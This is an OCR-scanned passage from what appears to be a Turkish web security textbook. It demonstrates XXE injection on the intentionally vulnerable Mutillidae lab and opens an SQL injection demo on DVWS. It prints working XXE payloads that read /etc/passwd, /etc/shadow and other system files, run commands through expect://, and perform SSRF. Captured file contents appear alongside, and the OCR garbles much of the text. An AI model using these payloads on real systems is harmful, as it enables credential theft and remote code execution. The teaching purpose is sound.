XML dokiimaninda <!DOCTYPE blogunda;

entity-name "URI/URL">

tamimlamasi yer alirsa ise bir harici varlik (external entity) tanimlannmis olur. Ornegin;

<? version="1.80" enco
<! root [

writer

copyright

seklinde. Siber saldirilar da bu external entity’ler araciligiyla uygulanir.

XML parser'lar genel olarak varsayilan kurulumlarinda harici varliklari (external entity’leri)
destekler halde gelirler. Ustelik uygulamalarca harici varliklar (external entity’ler) normal
kullanimlarinda nadiren gerekli olsa da varsayilanda ag¢ik halde gelirler. Harici varliklarin (external
entity'lerin) agik olmasi sebebiyle xml parser'in dosya sistemindeki dosyalar referans edilebilir ve
hassas nitelikteki dosyalar okunabilir, sunucuya /dev/random gibi bir dosya okumasi yaptirilarak
web sunucu servis disi birakilabilir. Ayrica xml parser'a HTTP {izerinden network kaynaklari
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referans edilebilir ve sunucunun saldir1 vekil sunucusu (attack proxy) olarak kullanilmasi
saglanabilir. Yani SSRF saldirisi diizenlenebilir.

SSRF orneginde uygun zararli girdinin (payload'un) kullanilmasiyla bir saldirgan uygulama
sunucusuna etkilesim halinde bulundugu diger sistemlere saldirida bulunmaya neden olabilir. Bu
saldirida bulunmaya sebep olacagi sistemler public (herkese agik) iiciincii taraf sistemler olabilir,
uygulama sunucusuyla ayn1 organizasyondaki dahili sistemler olabilir veya uygulama sunucusunun
loopback adaptdriindeki kendisinde yer alan servisler olabilir. Network mimarisine gore harici
saldirganlarin erisemedigi dahili zafiyetli sistemler bu yolla agiga ¢ikabilir.

XML External Entity (XXE), diger adiyla XML External Entity Injection (XXE Injection) bir web
uygulama ya da web api’nin XML verisini filtrelemeden aldiginda ve back-end’deki XML
parser’in gelen verideki external XML Entity ifadelerinin parse edilmesine izin verir
yapilandirmada oldugu durumda meydana gelen bir agikliktir. Bu agiklik yoluyla saldirganlar
gonderdikleri xml verileri ile web sunucuda LFI, RCE, SSRF, ve DoS saldirilart diizenleyebilirler.

XXE saldirilarinin yapilabilmesi web sunucunun xml girdisi almasina, web sunucudaki xml
parser’in bu girdiyi parse etmesine ve xml parser’da xml external entity desteginin aktif (enabled)
durumda olmasina baglidir.

Acikhigin Coziimii

Oncelikle mutillidae web servisin xml external entity injection zafiyetli sayfasina bir goz atalim.

OWASP 2017 -> Al - Injection (Other) -> XML External Entity Injection -> XML
Validator

Igili sayfa su sekildedir.
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OWASP 2013
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| Hints and Videos |

Web Services

[ Please Enter XML to Validate
Example: <somexml=<message=Hello World</message=</somexml:=

Documentation
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Donate
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Video Tutorials

Validate XML

Announcements

‘®

Getting Started

Browser: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/637.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
PHP Version: 7.2.24-0ubuntu0.18.04.13

Bu sayfada girdi olarak girilen XML verisi web sunucu tarafta parse edilmekte ve girdinin
icerisindeki string geri yansitilmaktadir.
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Validate XML
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Video Tutorials

Announcements
Getting Started

Browser: Mozilla/6.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/637.36
PHP Version: 7.2.24-0ubuntu0.18.04.13

XML Girdi Veriliyor
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@% OWASP Mutillidae II: Keep Calm and Pwn On
Version: 2.10.8 Security Level: 0 (Hosed) Hints: Enabled Not Logged In
Home | Login/Register | Toggle Hints | Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data
[ XML Validator )
OWASP 2010 ) <§ Back @ Help Me!
[ Hints and Videos |
BE ( Please Enter XML to Validate )
<s0n Hello World exmi>
XML
Donate
Want to Help? 4
= XML Submi
Video Tutorials [_(sﬂmzml><mzsssge>Hellu Vorld</message></somexml> l

” Text Content Parsed From XML
A oy {_He\lo World ‘

Getting Started

Browser: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/§37.36
PHP Version: 7.2.24-0ubuntu0.18.04.13

XML Yanit Alintyor

Boyle bir xml girdi ve parse edilmis verinin geri yansitilmasi mekanizmasina sahip web servise
Xml External Entity Injection (XXE) saldiris1 diizenlenebilir. Oncelikle web servis XXE acikligina
sahip mi kontrol i¢in su agiklik tespit payload’u kullanilabilir:

Agiklik Var mi Tespit Payload’u:

<IDOCTYPE foo [ <!ENTITY test "Merhaba" > ]>
<xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>

Bu payload sorunsuz galigirsa ekrana Merhaba string’i basilacaktir.
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( Please Enter XML to Validate )
Example: <somexml><message=>Hello World</messa e></50rnuxm6

5 <IDOCTYPE foo [ <!ENTITY test 'Herhaba” > 1>
Ot b <xmietiketi><mesaj>atest;</mesaj></xmlEtiketi>

1
7

Resources

Donate
Want to Help?

Validate XML | e

XML
Video Tutorials rmmmm foo [ <!ENTITY test "Merhaba™ > ]> <xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi> l

” Text Content Parsed From XML.
o [_Merhaba e l

Getting Started [y

Browser: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
PHP Version: 7.2.24-0ubuntu0.18.04.13

Gortildiigii gibi payload sorunsuz ¢aligmistir. Yani enjekte ettigimiz DTD ile dahili varlik (internal
entity) sorunsuzca c¢alismigtir. Dolayisiyla XXE acikligi vardir. Simdi XXE agikligin1 kullanarak
linux web sunucudaki hassas dosyalar1 okuyalim.

a) /etc/passwd Dosyasini Okuma
Girdiye su external entity ekli payload verilerek agiklik istismar edilebilir.
Payload:

<IDOCTYPE foo [ <!ENTITY test SYSTEM "file:///etc/passwd" > ]>
<xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>
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( Please Enter XML to Validate ]

Example: <somexml><message=Hello World</message></somexml>

" < !DOCTYPE foo [ <!ENTITY test SYSTEM
Documentation  » “file:///etc/passwd” > ] o %
<xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketis
x| |
Donate
Want to Help?
[ ] @
[ > ] X
Video Tutorials ruuunvpg foo [ <!ENTITY test SYSTEM "file:///etc/passwd” > ]> <xmlEtiketis<mesaj>&test;</mesaj></xmlEtiketis> ‘ e
m — Text Content Parsed From XML
w root:x:0:0:root:/roct:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nalogin bin:x:2:2:bin:/bin:/usr/sbin/nologin
Announcements sysx 3:3:sys /dev-/usrisbin/nologin sync:x 4:65534 sync/bin /bin/sync games x 560 games /usr/games-/usr/sbin/nologin
man:x.8.12:man:/var/cache/man:/usr/sbin/nologin Ip:x:7:7.Ip:/var/spocl/lpd:/usr/sbin/nologin mail:x:8.8:mail./var/mail:fusr/sbin/nologin
ﬁh news.x.9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/shin/nologin
proxy:x:13:13.proxy-/bin:/usr/sbin/nologin www-data:x:33.33. www-data./var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/shin/nologin list:x:38:38:Mailing List Manager /var/list /usr/sbin/nologin
Irex:39:39-Ircd:var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/iib/gnats:/usr/sbin/nologin
nobody:x:65534:65534 nobody:/nonexistent:/usr/shin/nologin systemd-network:x:100:102:systemd Network

Management,,, frun/systemd/netif-/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver, ,:/run/systemdiresolve:/usr/sbin/nologin
syslog:x:102:106::/home/sysleg:/ust/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_aptx:104:65534::/nonexistent:/usr/sbin/nologin uuidd:x:105:111::/run/uuidd:/usr/sbin/nologin avahi-autoipd:x:106:112:Avahi autoip
daemon,,,./var/lib/avahi-autoipd:/ust/sbin/nologin usbmux:x:107:46:usbmux daemon,,,./var/lib/usbmux:/usr/sbin/nclogin

dnsmasq x:108:65534:dnsmasaq,,,./var/lib/misc /usr/shin/nologin rikit:x:109:114:RealtimeKit, ,//prec:/usr/sbin/nologin cups-pk-
helperx:110:116:user for cups-pk-helper service,,,/home/cups-pk-helper:/usrisbin/nologin speech-dispatcherx:111:29:Speech
Dispatcher,,, /var/run/speech-dispatcher /bin/false whoopsiex:112:117-:/nonexistent /bin/false kernoops:x:113:65534:Kernel Oops Tracking
Daemon,,,”//usr/sbin/nologin saned:x:114:119::var/lib/saned:/usr/sbin/nologin avahi:x: 115:120:Avahi mMDNS daemon,,, /var/run/avahi-
daemon:fusr/sbin/nologin colord:x:116:121:colord colour management daemon,,,-/var/lib/colord:/usr/sbin/nologin hplipx:117:7:HPLIP system
user,,,:ivar/run/hplip:/bin/false geoclue:x:118:122::/var/lib/geoclue:/usr/sbin/nologin pulse:x:119:123:PulseAudio

daemon, ,:/var/run/pulse:/usr/sbin/nologin gnome-initial-setup:x:120:65534::/runignome-initial-setup/:/bin/false gdm:x:121:125:Gnome
Display Manager:/var/lib/gdm3./bin/false pentest.x:1000:1000.pentest,,,./home/pentest./bin/bash
vboxadd:x:999:1.:/var/run/vboxadd:/bin/false mysql:x:122:127:MySQL Server,,, /nonexistent./bin/false

Getting Started

Browser: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
PHP Version: 7.2.24-Oubuntu0.18.04.13

b) /etc/shadow Dosyasini Okuma
Girdiye su external entity ekli payload verilerek agiklik istismar edilebilir.
Payload:

<IDOCTYPE foo [ <!ENTITY test SYSTEM "*file:///etc/shadow' > ]>
<xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>

Not:

Payload’un diizgiin ¢alismasi i¢in /etc/shadow dosyasinin giivensiz yapilandirilmis olmasi
gerekir. Bunun i¢in Mutillidae - Ubuntu 18.04 LTS sanal makinasinda /etc/shadow dosyast
777 iznine sahip kilinmalidir:

Mutillidae - Ubuntu 18.04 LTS VM:

> sudo su /I Parola girilir.
> chmod 777 /etc/shadow // shadow dosyas1 giivensiz yapilandirilir.
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Islam Oyun Tubitalk Online Filmler Siber Gavenlik & Bulut Notlar Stackoverflow Sorul... @ Singer Servis. ; TC Siber Guvenlik K. ‘ Cambly @ Ubisoft Xbox Series.
@% OWASP Mutillidae II: Keep Calm and Pwn On
Version: 2.10.8 Security Level: 0 (Hosed) Hints: Enabled Not Logged In
Home | Login/Register | Toggle Hints | Toggle Security | Enforce TLS | Reset DB | View Log | View Gaptured Data
[ XML Validator ]
P @
| Hints and Videos |
| omes | ( Please Enter XML to Validate )
Example: <somexml><message=Hello World</message></somexml>
. <!DOCTYPE foo [ <!ENTITY test SYSTEM
e e T
_ <xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>
Resources »
XML
Donate
2 I} )
‘Want to Help?
- L2
Video Tutorials [_cumcwps foo [ <!ENTITY test SYSTEM "file:///etc/shadow" > ]> <xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketix ‘ o
’ Text Content Parsed From XML
o root:1:119283:0:99999:7::: daemon:*:18885:0:99999:7 - bin*:18885:0:99999:7:  sys:*:18885:0:99899:7:: sync:*:18885:0:99999:7:
Announcements games:*18885:0:99999 7. man:*:18885:0:99999.7:: Ip:*:18885:0:99999:7:: mail *:18885:0:99999:7: news:*:18885:0:99999:7
uucp:*:18885:0:99999:7 - proxy:*:18885:0:99999:7::: www-data*18885:0:99999:7 - backup:*:18885:0:99999:7: - list:*:18885:0:99999:7:
@ irc:*:18885:0:99999:7:: gnats:*18885:0:99999:7:- nobody:*:18885:0:99999:7 - systemd-network:*:18885:0:99999:7:: systemd-
resolve:*:18885:0:99999:7::: syslog:*:18885:0:99999:7 - messagebus *:18885:0:99999:7::: _apt*:18885:0:09999:7:: uuidd:*18885:0:99999:7::: avahi-

autoipd:*:18885:0:99999:7:: usbmux:*:18885:0:99999:7: - dnsmasq:*:18885:0:99999:7::: rtkit:*:18885:0:99999:7::: cups-pk-helper *:18885:0:99999:7::
speech-dispatcher:1:18885:0:99999:7:: whoopsie:*: 18885:0:99999:7:: kernoops:*:18885:0:99999:7 - saned:*:18885:0:99999:7.
avahi:*18885:0:99999:7:: colord:*:18885:0:99999:7 - hplip:*:18885:0:99999:7 - geoclue:*:18885:0:99999:7 = pulse:*:18885:0:99999:7::- gnome-initial-
setup:*:18885:0-99999:7::: gdm:*:18885:0:999997:

pentest: $657H 1ktfBh$Vz4IV2ydQMdEptel DTANGwgSX6FZ6Bnx3HdIvzAgNOqat8VMtCVONSIwY4ue8cluRTHUmYIY TnvUP Mex9mMM.:19283:0:99999: 7
vboxadd:1:19283:::: mysql:1:119284:0:99999:7

Getting Started

Browser: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
PHP Version: 7.2.24-0ubuntu0.18.04.13

¢) Hosts Dosyasint Okuma

Hosts dosyasi sistemde tanimli host’larin adlarini verir. Girdiye su external entity ekli
payload verilerek aciklik istismar edilebilir.

Payload:

<IDOCTYPE foo [ <!IENTITY test SYSTEM "*file:///etc/hosts™ > ]>

<xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>

Sayfa 122 / 167



d)

@ ML Esten ity 3¢ | B Zembes O 3¢ | [ uesited - Pstatin % | G amme-coosrasan x| CF doniscrithmcuntin X | G Comndont wrdowtinipe X Wirdows: KAMBR satall . X0 | G win i publc sccash ot - ¢ | NI A Dowp D ko o Iyec X | @) XML storl snby 900 %} 192

[ - L]

@+ OWASP Mutillidae Il: Keep Calm and Pwn On

Version: 2108 Security Level: 0 (Hosed)  Hints: Enabled  Not Logged In
Home | Login/Ragistar | Toggle HIns | Toggle Security | Eforce TLS | Resst DB | View Log | View Captured Data

XML Validator
e Help Mol
Hints and Videos
Please Enter XML to Validate )
Example: <somexmi><message~Hallo Work</message></somexmi
=] @
XML Submitted
Video Tutorials <Iboere foo [ <IENTITY test SYSTER “files//ferc/masts” » Is cxnlttiketis cesnbitestse/mesaiycumlerikenis o
’ Text Content Parsed From XML

127.0.0.1 mutilidas 127 0.0.1 mutilidas local 127.0.0.1 locathast 127.0.1.1 pentest VirtualBox # The fallowing lines are desirable for IPVG capable hosts 1 ip5-localhost ipé-loapback f200: 0 ipé-localnet f00::0 ip6-meastprefix i02: 1 ip-alinodes fi02: 2 ipd-alirouters

L
Browser: Mozillai6.0 [Windows NT 10.0; Win64; x84) AppleWebKit/537.36 (KHTML, like Gecko] Chrome!108.0.0.0 Safari/s37.36
PHP Version: 7.2.24-Oubuntu0.18.04.15

Resolv.conf Dosyasint Okuma

Resolv.conf sistemde kullanilan yerel DNS adresleri verir. Girdiye su external entity ekli
payload verilerek aciklik istismar edilebilir.

Payload:

<IDOCTYPE foo [ <!ENTITY test SYSTEM "file:///etc/resolv.conf" > ]>
<xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>

Version: 2108 _ Sacustty Lave: 0 Hosed) Wit Enabisa _ Not Loggedin
st | Toggh Vs | Togal Secursy | Enforo T3 | Resat 08 | Viw Log Vo G

XML Validator

Want o Help?

Video Tutoisls

L4

Anncuncaments

Gating Staried

Browser: Mozl (Windows KT 10.3; WinG: x64) AgpleWebKIVS? 36 (KHTUL. ke Gecko) ChromeiiE5.0 0.0 SafariS37.36
PHP Versian: 72.24.0uBuntu0.18.04 15

Dev Dosyasin1 Okuma

Dev dosyasi ile sistemde tanimli network cihazlarinin bilgisini verir. Girdiye su external
entity ekli payload verilerek agiklik istismar edilebilir.

Payload:

<IDOCTYPE foo [ <!IENTITY test SYSTEM "file:///proc/self/net/dev’* > ]>
<xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>
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Donats
Want to Help?

Video Tutorials

@4 OWASP Mutillidae II: Keep Calm and Pwn On
Versi

2108 Security Level: 0 {Hosed)  Hints: Enabled  Not Logged In

.
<d.8 Back Q Help Me!

Hints and Videos

XML Submitted

<IDOCTYPE foo [ <IENTITY test SYSTER “#iles//)

) j</mesa

»

Announcements

Text Content Parsed From XML

I Inter-| Receive | Transmit face |byles packets ems drop fifo frame compressed mutticastibytes packets. ems drop fifo colls camer compressed lo 393510 4426 00 0 0 00 393810 4426 0.0 0 00 0 enp0s3’ 568397152 390808 0.0 0 0 0 5850 2006508 3467300000

)

Getting Started

f) Sistem Versiyonunu Ogrenme

Sistem versiyonunu 6grenmek i¢in 3 dosyadan yararlanilabilir. Girdiye su external entity

Browser: Mozilla/s.0 Windews NT 10.0; Win84; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
PHP Version: 7.2.24-0ubuntu0.18.04.15

ekli payload verilerek agiklik istismar edilebilir.

Payload 1:

<IDOCTYPE foo [ <!IENTITY test SYSTEM "‘file://[proc/version™ > ]>
<xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>

(

XML Valid.

<:§ Back

g Help Me!

Hints and Videos

Please Enter XML to Validate

Example: <somexml><message>Hello World</mi

oo [ <!ENTITY test SYSTEM

1> <xalEtikess>
</xmiEsiketi>

srﬁomexml >

Validate XML

~XML

‘ <IDOCTYPE foo [ <IENTITY test SYSTEM "file:///proc/version” > ]> <xnlEtiketiscmesajsRtest;</mesaj></xnlEtiketi>

Text Content Parsed From XML
erux version 5.4 0-128-generic (buildd@Icy02-amd64-064) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #144~18 .04 1-Ubuntu SMP Thu Sep 22 11:08:41 UTC 2022

Payload 2:

<IDOCTYPE foo [ <IENTITY test SYSTEM "*file:///etc/Isb-release™ > ]>
<xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>

Sayfa 124/ 167




e
\,ﬁ Back Q Help Me!
Hints and Videos
[ Please Enter XML to Validate ]
Example: < message=Hello World</mes: ;54<:mmpnml >
i
XML
Validate XML e
~XML

— Text Content Parsed From XML

‘ DISTRIB_ID=Ubuntu DISTRIB_RELEASE=18.04 DISTRIB_CODENAME=bionic DISTRIB_DESCRIFTION="Ubuntu 18.04.6 LTS"

Payload 3:

<IDOCTYPE foo [ <!ENTITY test SYSTEM "‘file:///etc/issue’ > ]>
<xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>

[

XML Validator

Back 8 Help Me!

Hints and Videos

XML

Please Enter XML to Validate

XML

<somexml: Hello World</message=></s; xml=

< |DOCTYPE foo [ <!ENTITY test SYSTEM
“file:///ete/issus” > |> <xmlEtiketir<mesajr&test;
</mesai></xnlEtiketi>

o
Validate XML

((!DD(TYPE f0o [ <!ENTITY test SYSTEM "file:///etc/issue!

* > ]> <xmlEtiketi><mesaj>Btest;</mesaj></xmlEtiketi>

Text Content Parsed From XML

(Uhumu 18.046LTS \nl

g) SSRF Saldirisi1 Diizenleme

Hedef aciklikli web sunucuyu proxy gibi kullanip bu agiklikli web sunucu tizerinden baska
bir agiklikli web sunucunun hassas dosyasini okuyabiliriz ve bu okumay1 dogrudan biz
yapmak yerine araci olarak kullandigimiz agiklikli web sunucuya yaptirarak kendimizi
saklayabiliriz. Bu islem i¢in girdiye 6rnegin su external entity ekli payload verilerek agiklik

istismar edilebilir.

Payload:

<IDOCTYPE foo [ <IENTITY test SYSTEM
"https://www.includekarabuk.com/kitaplik/indirmeDeposu/mutillidae_xxe_ssrf_icin_dizin/

hesapbilgileri.txt" > ]>

<xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>

Not:

Bu oOrnekte external entity'ye internetteki bir web sitesinin URL'si verildi. Fakat URL
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kullanmak yerine zafiyetli hedef web sunucunun yerel aginda bulunan bilgisayarlarin yerel
ip'leri de koyulabilirdi.

- o x
§ 1921686811 1/mutilidacsindex. X =+ v
<« @ ) A Guvenlidegil | 192.168.68.111/mutillidae/index.php?page=xml-validator,php e Gt 9GO 0 :
Islam Oyun Tubitak Online Filmler Siber Gavenlik & Bulut Notlar Stackoverflow Sorul. © SingerServis ; TC Siber Guvenlik K. ‘ Cambly () Ubisoft Xbox Series.
@« OWASP Mutillidae II: Keep Calm and Pwn On
Version: 2.10.8 Security Level: 0 (Hosed) Hints: Enabled Not Logged In
Home | Login/Register | Toggle Hints | Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data
OWASP 2017 13 i
[ owsseao7 [ XML Validator )
Hints and Videos
| otes ] ( Please Enter XML to Validate ]
“ Example: <somexml><message=Hello World</message=</somexm|>
- <!DOCTYPE foo [ <!ENTITY test SYSTEM °
"https://wun. includekarabuk.com/kitaplik/indirmeDepo
su/mutillidae_sxe_ssrf_icin_dizin/hesspbilgileri.txt
Resources » RGN
XML <xmlEtiketir<mesaj>&test;</mesaj></xmlEtiketi»
Donate
Want to Help? L 4
== @
o XML Submi

Video Tutorials <!DOCTYPE foo [ <!ENTITY test SYSTEM "https://www.includekarabuk.com/kitaplik/indirmeDeposu/mutillidae_sxxe_ssrf_icin_dizin/hesapbilgileri.txt” > ]>
<xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketis

’ rText Content Parsed From XML

Announcements kullanici adi: foo parola: bar o I

=

Getting Started

Browser: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
PHP Version: 7.2.24-0ubuntu0.18.04.13

Goriildiigii gibi bagka bir web sunucunun hassas dosyasi agiklikli bir web sunucu tizerinden
okunmustur.

Acikhgm Onlemi

Bu agikligin kapatilmasinda tek etkili yol gelistiricilerin istemciden gelen xml verisindeki xml
external entity kullanimini tamamen Onlemesinden geger. OWASP ayrica xml external entity
engellemek yerine komple DTD islemeyi engellemeyi ve gelistiricileri yalnizca statik, yerel DTD
kullanacak sekilde kisitlamayi tavsiye eder.

5.4.5 XML External Entity Injection 2 (CWE-611, CAPEC-376)

Bu demoda XML External Entity Injection saldirisi yine gosterilecektir, fakat bu sefer bu saldiri ile
RCE (Remote Code Execution) alinmasi Ornegi gosterilecektir. Yani hedef Mutillidae web
servisine XML External Entity saldirilaris1 diizenleyip hedef web servis sunucusunun komut
satirinda sistem komutu ¢alistirilacaktir.

Kullanilan Materyaller

Ubuntu 18.04 LTS /I Fiziksel Makine
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Mutillidae - Ubuntu 14.04 LTS VM /I Eski PHP’li Mutillidae Web Servisi VM

Not: Mutillidae kasith zafiyetler iceren web uygulamasimin Ubuntu 14.04 LTS Linux’a
kurulumu i¢in bkz. EK > Mutillidae Web API’yi Linux’a (Ubuntu 14.04 LTS Dagitimina)
Kurma.

Acikhigin Coziimii

XXE’den RCE almak PHP web servislerde "expect" modiilii yiiklii ise yapilabilmektedir. Bu
modiil eski php siirlimlerinde varsayilanda agiktir. Bu nedenle bu demoda hedef VM’imizde eski
bir mutillidae web servisi ve eski bir php siirtimii kullanilacaktir.

Mutillidae web servisinin xml external entity injection zafiyetli sayfasi suradaydi:

OWASP 2017 -> Al - Injection (Other) -> XML External Entity Injection -> XML
Validator

Bu sayfada girdi olarak girilen xml verisi web sunucu tarafta parse edilip string degeri geri
yansitilmaktaydi. Simdi bu mekanizmada var olan agiklig1 kullanarak bu sefer RCE (Remote Code
Execution) alalim.

XXE ile RCE Alma
Payload:
<?xml version="1.0" encoding="1SO-8859-1"7>
<IDOCTYPE foo
[<IELEMENT foo ANY >

<IENTITY xxe SYSTEM "expect://whoami** >]>
<somexml><message>&xxe;</message></somexml>
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e« OWASP Mutillidae II: Keep Calm and Pwn On

4 Version: 2.7.10 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

OWASP 2017 {

XML Validator )

OWASP 2013

OWASP 2010 % Back @ Help Me!

OWASP 2007
Hints and Videos

Web Services

HIML 5 [ Please Enter XML to Validate J

Example: <somexml><message>Hello World</message></somexm|>

<!ROCTYPE fog

[<IELEMENT fpo ANY >

<IENTITY xxe SYSTEM "expect://whoami” »]=
XML | |<somexpl<message>Gxxe;</message></somexml>

Resources

Donate
Want to Help?

o Comenon ] | @

i
ﬂ Documentation <7xml, version="1.8" encoding="I50-8859-1"7> o

Video Tutorials XML Submitted
<?xml version="1.0" encoding="IS0-8859-1"7> <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM
” “expect://whoami" >]> <somexml><message>&xxe;</message></somexml>
Announ;:ements Text Content Parsed From XML
www-data
—
Getting Started
= Browser: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0
PHP Version: 5.5.9-1ubuntu4.29
-—

{5 &P 9|5 ] @ 3 Right ctrl

Gorildugii gibi sistemdeki haklarimiz dgrenilebilmistir. Bu agiklik yoluyla gesitli sistem
komutlart denenip agiklikli web servis sunucusunda ¢aligtirilabilir ve sonuglari alinabilir:

Payload 2:

<?xml version="1.0" encoding="1S0-8859-1"?>
<IDOCTYPE foo

[IELEMENT foo ANY >

<IENTITY xxe SYSTEM "expect://uname" >]>
<somexml><message>&xxe;</message></somexm|>

Payload 3:

<?xml version="1.0" encoding="1SO-8859-1"7>
<IDOCTYPE foo

[<IELEMENT foo ANY >

<IENTITY xxe SYSTEM "expect://id" >]>
<somexml><message>&xxe;</message></somexml>
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Payload 4:

<?xml version="1.0" encoding="1SO-8859-1"7>
<IDOCTYPE foo

[<IELEMENT foo ANY >

<IENTITY xxe SYSTEM "expect://netstat" >]>
<somexml><message>&xxe;</message></somexml>

5.4.6 XML External Entity Injection 3 (CWE-611, CAPEC-376)

Bu demoda XML External Entity Injection saldirisi hedef “windows” mutillidae web servis
sunucusuna uygulanacaktir ve windows web sunucuda hassas dosya okuma uygulanacaktir.

Kullanilan Materyaller

Ubuntu 18.04 LTS /I Fiziksel Makine

Mutillidae - Windows 10 Home Premium VM // Mutillidae Web Servis Sanal Makine
Not: Mutillidae kasitli zafiyetler igeren web servisinin Windows 10 Home Premium’a

kurulumu ig¢in bkz. EK > Mutillidae Web API’yi Windows’a (Windows 10 Home Premium
Siiriimiine) Kurma.

Acikhigin Coziimii

Bu demodaki hedef dvws web servis sunucumuzun isletim sistemi windows’tur. Dolayisiyla XXE
saldirisinda windows’taki bir hassas dosya okunacaktir.

Mutillidae web servisinin xml external entity injection zafiyetli sayfasi suradaydi:

OWASP 2017 -> Al - Injection (Other) -> XML External Entity Injection -> XML
Validator

Bu sayfada girdi olarak girilen xml verisi web sunucu tarafta parse edilip string degeri geri
yansitilmaktaydi. Simdi bu mekanizmada var olan agiklig1 kullanarak bu sefer windows’taki hassas
bir dosyay1 okuyalim.

Windows’ta Hassas Dosya Okuma

Payload:

<IDOCTYPE test [IENTITY xxe SYSTEM "file:///c:/windows/win.ini**>]>
<test>&xxe;</test>
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[ XML Validator

A
\Ij Back @ Help Me!

Hints and Videos

( Please Enter XML to Validate )
sage=Hello World<imessage: 4-'-‘<.nme)0

Valldate XML | °

XML Submitted

<IDOCTYPE test [<IENTITY xxe SYSTEN “file:///c: /uindows/win. 1ai"s]> <testsbunes</tests

Text Content Parsed From XML o
for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1

54.7 SQL Injection (CWE-89, CAPEC-66)

Bu demoda SQL Injection saldirist hedef “windows” dvws web servis sunucusuna uygulanacaktir
ve windows web sunucuda veritabani sunucusundaki yiikli veritabani dizinleri listelenecektir.

Kullanilan Materyaller

Ubuntu 18.04 LTS /1 Fiziksel Makine

DVWS - Windows 10 Home Premium VM /I REST DVWS Web Servis Sanal Makine
Not: DVWS kasith zafiyetler iceren web uygulamasinin Windows 10 Home Premium’a

kurulumu i¢in bkz. EK > DVWS Web API’yi Windows’a (Windows 10 Home Premium
Siirimiine) Kurma.

Aciklik Agiklamasi

Istemci girdisi alan SQL sorgularinin yer aldig1 web uygulamalarda istemci girdisine sql sorgular
icin anlam ifade eden sql ifadeleri girme sonucu uygulamanin sql sorgusunun igerisine sql ifadesi
eklemeye sgl enjeksiyonu adi verilir.

Acikhigin Coziimii

Oncelikle sql enjeksiyonu agiklikli rest api sayfasina bir goz atalim.

Sayfa 130/ 167



(.F CWE - CWE-89: Improper Neutr= X | [ CAPEC - CAPEC-66: SQL Injectior X Ders 18 - Blind SQL Injection (M: X @ REST API SQL Injection X+

&« C (@ A Guvenlidegil | 192.168.68.105/dvws/vulnerabilities/sql B e x © 1 » 0O o

REST API SQL Injection

SQL injection is a security vulnerability in which an attacker is able to submit a database SQL command that is executed by a web application, exposing the back-end
database. A SQL injection attack can occur when a web application utilizes user-supplied data without proper validation or enceding as part of a command or query.

Note: If the REST AP is exhibiting "Unable to connect to the database. mysql_error()", please edit the api.php file located under \dvwsiwulnerabilities\sgli

More Information

The following REST service is vulnerable to SQL Injection

REST Service which retrives a user based on ID: /dvws/vulneral

Bize DVWS web uygulama sayfast REST API’nin endpoint’ini vermektedir.
http://1P/dvws/vulnerabilities/sqli/api.php/users/2

Bu endpoint’te 2 ifadesi rest api igin bir parametredir. 2 yerine 1 veya 3 girildiginde rest api’nin
donecegi yanit degismektedir.

L f CWE - CWE-88: Improper Neutr= X E CAPEC - CAPEC-66: SQL Injectior X Ders 18 - Blind SQL Injection (Me X S 1921 x +
&« C ¥ A Givenlidegil | 192.168.68.105/dvws/vulnerabilities/sqli/api.php/us 3]
" F o
{"first_name":"Gordon"."last_name":"Brown"}
L Lf CWE - CWE-89: Improper Neutr= X @ CAPEC - CAPEC-66: SQL Injectior X Ders 18 - Blind SQL Injection (Me X @ 1921 x =+
& c O A Guvenli deg 192.168.68.105/dvws/vulnerabilities/sqli/api.php/use! B =
]
|{"ﬁrsrﬁname":"Dar'rh":"lasriname":"\'ader”} |
